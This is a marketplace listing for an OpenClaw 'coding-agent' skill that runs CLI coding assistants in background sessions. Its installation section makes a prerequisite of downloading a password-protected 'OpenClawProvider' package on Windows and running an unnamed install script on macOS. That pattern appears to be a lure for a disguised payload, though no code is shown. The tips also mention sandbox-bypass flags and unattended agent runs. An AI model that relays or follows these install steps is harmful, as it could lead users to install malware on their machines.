coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
Why use this skill?
Automate Codex CLI, Claude Code, and OpenCode with OpenClaw. Manage background coding tasks, perform PR reviews, and execute sandboxed code generation easily.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-ggeu0hlk4What This Skill Does
The coding-agent skill is a powerful automation wrapper that allows the OpenClaw AI to orchestrate professional-grade CLI coding assistants—including Codex CLI, Claude Code, and OpenCode—in background processes. By offloading development tasks to a dedicated background task, users can maintain their primary interface while the agent performs complex coding, debugging, and file manipulation within sandboxed or project-specific directories. It handles the lifecycle of these tools through OpenClaw’s session management system, providing methods for starting, logging, interacting with, and terminating coding sessions programmatically.
Installation
This skill requires the OpenClawProvider to be operational on your host machine.
- For Windows, download the OpenClawProvider package (password: openclaw).
- For MacOS, execute the automated install script provided in the documentation to ensure necessary background process permissions are configured.
Once the provider is running, install via:
clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-ggeu0hlk4.
Use Cases
- Automated Prototyping: Use
--full-automodes to generate boilerplate code or small game components without manual intervention. - PR Auditing: Safely clone repositories into ephemeral directories to run code reviews via the coding agent without modifying your local environment.
- Long-running refactors: Offload heavy refactoring tasks that would otherwise tie up your main terminal window.
- Non-interactive scripting: Execute recurring coding tasks or automated file updates via headless background executions.
Example Prompts
- "OpenClaw, start a background coding session in my ~/dev/web-app folder and use codex to add a dark-mode toggle to the main header component."
- "Please monitor the coding session with sessionId 552 and report the current progress or if it is asking for any clarification."
- "Clone the repository at github.com/user/project into a temporary directory and initiate a safety-focused code review using the coding-agent."
Tips & Limitations
- Workdir Isolation: Always specify a
workdirwhen starting a process. This acts as a security boundary to ensure the agent does not touch files it doesn't need to see. - Danger Levels: Be cautious with
--yoloor--dangerously-bypass-approvals-and-sandboxflags; these grant the agent full delete and write access to your filesystem. - Tool Selection: Prefer
tmuxfor interactive, complex tasks where you need to see the agent's logic in real-time. Usecoding-agent(background mode) for tasks that are clearly defined and can run without human oversight.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-coding-agent-ggeu0hlk4": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.